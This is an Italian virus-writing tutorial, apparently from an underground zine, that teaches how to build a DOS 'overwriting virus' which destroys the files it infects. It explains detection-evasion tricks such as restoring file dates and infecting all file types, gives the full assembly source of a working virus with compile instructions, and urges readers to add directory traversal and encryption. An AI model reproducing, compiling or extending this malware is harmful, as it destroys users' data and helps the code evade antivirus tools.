L'overwriting virus

Attenzione! Il codice virale riportato su questa pagina ha come unico scopo la distruzione dei vostri files.L'autore, cioè io ;) , non si assume alcuna responsabilità per danni derivanti da esso o per alcun malfunzionamento a causa di questo virus.

 

Gli overwriting virus sono i virus più semplici, non è un capolavoro programmarne uno.Un overwriting virus non viene considerato un virus vero e proprio nel mondo del VX, sia per la sua semplicità di poter essere individuato molto facilmente, sia per la sua azione distruttiva che ha sui files.Spesso incontrerete overwriting virus che infettano solamente files con l'estensione .com.Ritengo che sia una grande cazzata, visto che se dobbiamo per forza distruggere i files mannamoli in culo tutti,no ? Tanto il virus sarà scoperto sempre più o meno subito.E poi cambiando il tipo di file da *.com in *.* evitere anche che qualche Anti-Virus possa dare allarme a causa proprio di questo, che il virus cerca com files.Se volete intraprendere la via di un virus-writers posso solo sperare che non vi fermate al livello dell'overwriting virus.L'unica cosa decente è per iniziare ad imparare, tutto qua.Iniziate con l'overwriting virus, programmatene qualcuno e poi passate al com appending, exe e così via.Inoltre non ha neanche alcun senso spendere del tempo per rendere un overwriting virus capabile di caricarsi in memoria.Ora, il principio dell'overwriting virus dovrebbe essere chiaro, è abbastanza facile da capire.Eseguendo il file infettato, il virus copia l'intero codice virale all'inizio del file da infettare, sovrascrivendo l'inizio originale del file.In questo modo il virus ha reso il file ancora eseguibile, ma giusto il codice virale sarà eseguito.Il resto del file è perduto.

Allora, quando starete lì a cercare di programmare un overwriting virus, tenete presente la struttura di base del virus.Cioè, prima trovare un file con la funzione 4eh, poi aprire il file con la funzione 3dh, infettarlo , chiudere il file (3eh) e ritornare al DOS.La routine per il tipo del file da infettare la potete scegliere come volete, *.com, *.exe o quello che vi pare.Un'altra cosa molto importante, che vi servirà anche più avanti, è di inserire un byte d'identificazione.In questo modo dopo aver aperto un file, prima di infettarlo il virus controllerà se questo byte è già esistente o meno.In caso positivo, chiuderà il file senza infettarlo e cercherà il prossimo file.In caso questo byte non esistesse, il virus lo infetterà e rilascerà il byte nel file.Tutto questo per evitare che il virus infetti se stesso, cosa che preferibilmente non dovrebbe succedere :).Una volta che avrete sistemato l'ID byte, forse vi accorgerete che il virus fallisce se volete che esso infetti files protetti in scrittura. Adesso dovrete scrivere una piccola routine in modo che prima di aprire il file il virus metta gli attributi a 0, cioe' levare la protezione in scrittura.Ora, quando il file verrà modificato cambia anche la data.Diversi Anti-Virus usano questo sistema per rivelare se un file è stato modificato o meno.Allora aggiungiamo anche una piccola routine che, dopo l'infezione, ripristini tutti gli attributi e anche la data.Il payload di un virus simile, a parte ovviamente la sua natura di distruggere, può essere per esempio la visualizzazione di un testo, oppure i files infetti possono contenere solamente un testo,in modo che il virus diffondi senza segnalare niente all'utente. Però così non ci sarà alcun problema per un Anti-Virus di trovarlo grazie al testo contenuto in un file infetto.Ecco un semplice esempio:

 

Questo virus infetta un file ad ogni esecuzione, che si trova nella stessa directory, infetta ogni tipo di file e ripristina data e ora.Quando un file infettato sarà eseguito, il virus visualizzerà il messaggio "Ren - Zine test virus, un semplice overwriting virus".

_______________________________________________________________

code segment

assume cs:code,ds:code

org 0100h ; se ora chiedete ancora qualcosa sulle prime tre righe potete andarvene a ;casa :)

start:jmp trova

db "f" ; ecco il byte d'identificazione

trova: mov ah,4eh ; la funzione 4eh la conoscete, trovare il primo file

trova_file: xor cx,cx ; azzere il registro cx

lea dx, tipo_file ; carica in dx il tipo di file che stiamo cercando

int 21h

jc mex

apri_file: mov ax,3d00h ; apre il file

mov dx,9eh

int 21h

xchg bx,ax ;scambia i valori di bx e ax (salva il nome del file)

mov ax,5700h ;qui invece leggiamo la data e ora

int 21h

push dx

push cx ; e salviamo i valori di essi

leggi_file:

mov ah,3fh ; anche questa funzione la conoscete, legge dal file

mov cx,4 ; la quantità di bytes da leggere

lea dx, buffer ; il valore caricato in dx

int 21h

confronta: cmp byte ptr[buffer + 3],"f" ; qui confrontiamo l'ID byte, se il quarto byte ;corrisponde ad una "f"

jnz riapri

mov ah,4fh

jmp trova_file

riapri: mov ax,3d02h

mov dx,9eh

int 21h

xchg bx,ax ; la stessa procedura di prima

infetta:

mov ah,40h

mov cx,offset endvx - offset start

lea dx,start

int 21h ; ecco l'infezione vera e propria, cioè la quantità di codice da scivere nel file con ;la funzione 40h

mov ax,5701h

pop cx

pop dx ; qui ripristiniamo la data e l'ora

int 21h

chiudi:

mov ah,3eh

mex: mov ah,09h

mov dx, offset msg

int 21h ; e infine chiudiamo il file

exit: int 20h

tipo_file db "*.*",0

buffer db ?,?,?,?

msg db " Ren - Zine test virus, un semplice overwriting virus$,"

endvx label near

code ends

end start ; la solita fine

_____________________________________________________

Copiatelo e compilatelo come lo volete voi, il comando da usare è Tlink "nomefile" /tdc.Io mi vorrei fermare qua, ci sono ancora un sacco di cose che potete aggiungere , anche nel codice di sopra c'e' da ottimizzare, tipo una semplice directory traversal function, in modo che il virus non sarà troppo limitato nella stessa directory, oppure un overwriting virus può essere anche cifrato, insomma ci sono una marea di cosa da fare.L'unica cosa che vi posso dire è che dovete provare voi stessi a cambiare il codice, cercare di trovare qualcosa di nuovo, provarlo ancora e ancora.Avrete bisogno anche di molta pazienza, però solamente così s'impara. Se volete potete usare anche un VCK ed esaminare il codice da esso creato.Il vostro compito ora sarebbe di inserire nel codice di sopra una routine per ripristinare gli attributi.Non dovrebbe essere troppo difficile, pensate sempre al concetto di base. Prima di aprire il file salvate gli attributi e dopo la chiusura ripristinateli.Le funzioni delle quali avrete bisogno le trovate in ogni lista di interrupt, quindi niente di difficile.

Bene, direi che questo è tutto per quello che riguarda l'overwriting virus, di solito non si spende del tempo per farne uno, ma si lavora su altri progetti più grandi e complessi, però per imparare può essere abbastanza utile.

 

RITORNA